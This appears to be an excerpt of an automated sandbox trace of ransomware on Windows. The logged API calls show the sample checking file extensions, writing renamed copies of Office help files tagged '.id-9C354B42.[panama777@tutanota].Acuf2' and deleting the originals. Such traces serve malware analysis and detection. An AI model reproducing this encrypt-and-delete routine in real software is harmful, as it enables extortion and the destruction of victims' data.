	[0265.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72
	[0265.194] lstrlenW (lpString=".1cd") returned 4
	[0265.194] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0265.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72
	[0265.194] lstrlenW (lpString=".jpg") returned 4
	[0265.194] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0265.196] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=114) returned 1
	[0265.196] CloseHandle (hObject=0x35c) returned 1
	[0265.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 0x20
	[0265.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.197] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.197] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0265.197] GetLastError () returned 0x0
	[0265.197] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x72, lpOverlapped=0x0) returned 1
	[0265.198] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0265.199] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.199] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x108, lpOverlapped=0x0) returned 1
	[0265.199] SetEndOfFile (hFile=0x220) returned 1
	[0265.199] CloseHandle (hObject=0x220) returned 1
	[0265.199] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.199] SetEndOfFile (hFile=0x35c) returned 1
	[0265.202] CloseHandle (hObject=0x35c) returned 1
	[0265.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 1
	[0265.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74
	[0265.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74
	[0265.202] lstrlenW (lpString=".doc") returned 4
	[0265.202] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0265.202] lstrlenW (lpString=".docx") returned 5
	[0265.202] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0265.202] lstrlenW (lpString=".pdf") returned 4
	[0265.202] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0265.202] lstrlenW (lpString=".xls") returned 4
	[0265.202] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0265.202] lstrlenW (lpString=".xlsx") returned 5
	[0265.202] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0265.202] lstrlenW (lpString=".ppt") returned 4
	[0265.202] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0265.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74
	[0265.203] lstrlenW (lpString=".zip") returned 4
	[0265.203] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0265.203] lstrlenW (lpString=".rar") returned 4
	[0265.203] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0265.203] lstrlenW (lpString=".bz2") returned 4
	[0265.203] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0265.203] lstrlenW (lpString=".7z") returned 3
	[0265.203] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0265.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74
	[0265.203] lstrlenW (lpString=".dbf") returned 4
	[0265.203] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0265.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74
	[0265.203] lstrlenW (lpString=".1cd") returned 4
	[0265.203] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0265.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74
	[0265.203] lstrlenW (lpString=".jpg") returned 4
	[0265.203] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0265.203] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=113) returned 1
	[0265.203] CloseHandle (hObject=0x35c) returned 1
	[0265.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 0x20
	[0265.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.204] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.204] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0265.204] GetLastError () returned 0x0
	[0265.204] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x71, lpOverlapped=0x0) returned 1
	[0265.205] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0265.206] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.206] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x108, lpOverlapped=0x0) returned 1
	[0265.206] SetEndOfFile (hFile=0x220) returned 1
	[0265.206] CloseHandle (hObject=0x220) returned 1
	[0265.206] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.206] SetEndOfFile (hFile=0x35c) returned 1
	[0265.208] CloseHandle (hObject=0x35c) returned 1
	[0265.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 1
	[0265.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74
	[0265.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74
	[0265.225] lstrlenW (lpString=".doc") returned 4
	[0265.225] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0265.225] lstrlenW (lpString=".docx") returned 5
	[0265.225] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0265.225] lstrlenW (lpString=".pdf") returned 4
	[0265.225] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0265.225] lstrlenW (lpString=".xls") returned 4
	[0265.225] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0265.225] lstrlenW (lpString=".xlsx") returned 5
	[0265.225] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0265.225] lstrlenW (lpString=".ppt") returned 4
	[0265.225] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0265.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74
	[0265.225] lstrlenW (lpString=".zip") returned 4
	[0265.225] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0265.225] lstrlenW (lpString=".rar") returned 4
	[0265.225] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0265.225] lstrlenW (lpString=".bz2") returned 4
	[0265.225] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0265.225] lstrlenW (lpString=".7z") returned 3
	[0265.225] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0265.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74
	[0265.225] lstrlenW (lpString=".dbf") returned 4
	[0265.226] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0265.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74
	[0265.226] lstrlenW (lpString=".1cd") returned 4
	[0265.226] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0265.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74
	[0265.226] lstrlenW (lpString=".jpg") returned 4
	[0265.226] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0265.237] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=621) returned 1
	[0265.237] CloseHandle (hObject=0x33c) returned 1
	[0265.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 0x20
	[0265.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0265.249] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.249] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0265.249] GetLastError () returned 0x0
	[0265.249] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x26d, lpOverlapped=0x0) returned 1
	[0265.382] WriteFile (in: hFile=0x33c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x270, lpOverlapped=0x0) returned 1
	[0265.383] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.383] WriteFile (in: hFile=0x33c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0265.383] SetEndOfFile (hFile=0x33c) returned 1
	[0265.383] CloseHandle (hObject=0x33c) returned 1
	[0265.383] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.383] SetEndOfFile (hFile=0x354) returned 1
	[0265.385] CloseHandle (hObject=0x354) returned 1
	[0265.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 1
	[0265.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61
	[0265.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61
	[0265.800] lstrlenW (lpString=".doc") returned 4
	[0265.800] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0265.800] lstrlenW (lpString=".docx") returned 5
	[0265.800] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0265.800] lstrlenW (lpString=".pdf") returned 4
	[0265.800] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0265.800] lstrlenW (lpString=".xls") returned 4
	[0265.800] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0265.800] lstrlenW (lpString=".xlsx") returned 5
	[0265.800] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0265.801] lstrlenW (lpString=".ppt") returned 4
	[0265.801] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61
	[0265.801] lstrlenW (lpString=".zip") returned 4
	[0265.801] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0265.801] lstrlenW (lpString=".rar") returned 4
	[0265.801] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0265.801] lstrlenW (lpString=".bz2") returned 4
	[0265.801] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0265.801] lstrlenW (lpString=".7z") returned 3
	[0265.801] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61
	[0265.801] lstrlenW (lpString=".dbf") returned 4
	[0265.801] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61
	[0265.801] lstrlenW (lpString=".1cd") returned 4
	[0265.801] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61
	[0265.801] lstrlenW (lpString=".jpg") returned 4
	[0265.801] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0266.691] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=205) returned 1
	[0266.691] CloseHandle (hObject=0x344) returned 1
	[0266.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 0x20
	[0266.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0266.720] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.721] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0266.735] GetLastError () returned 0x0
	[0266.735] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xcd, lpOverlapped=0x0) returned 1
	[0266.736] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0266.737] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.737] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0266.737] SetEndOfFile (hFile=0x218) returned 1
	[0266.737] CloseHandle (hObject=0x218) returned 1
	[0266.737] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.737] SetEndOfFile (hFile=0x360) returned 1
	[0266.740] CloseHandle (hObject=0x360) returned 1
	[0266.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 1
	[0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61
	[0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61
	[0266.740] lstrlenW (lpString=".doc") returned 4
	[0266.740] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0266.740] lstrlenW (lpString=".docx") returned 5
	[0266.740] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0266.740] lstrlenW (lpString=".pdf") returned 4
	[0266.740] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0266.740] lstrlenW (lpString=".xls") returned 4
	[0266.740] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0266.740] lstrlenW (lpString=".xlsx") returned 5
	[0266.740] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0266.740] lstrlenW (lpString=".ppt") returned 4
	[0266.740] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61
	[0266.741] lstrlenW (lpString=".zip") returned 4
	[0266.741] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0266.741] lstrlenW (lpString=".rar") returned 4
	[0266.741] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0266.741] lstrlenW (lpString=".bz2") returned 4
	[0266.741] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0266.741] lstrlenW (lpString=".7z") returned 3
	[0266.741] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0266.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61
	[0266.741] lstrlenW (lpString=".dbf") returned 4
	[0266.741] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0266.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61
	[0266.741] lstrlenW (lpString=".1cd") returned 4
	[0266.741] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0266.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61
	[0266.741] lstrlenW (lpString=".jpg") returned 4
	[0266.741] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0266.741] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=114) returned 1
	[0266.742] CloseHandle (hObject=0x360) returned 1
	[0266.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 0x20
	[0266.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0266.742] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.742] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0266.742] GetLastError () returned 0x0
	[0266.742] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x72, lpOverlapped=0x0) returned 1
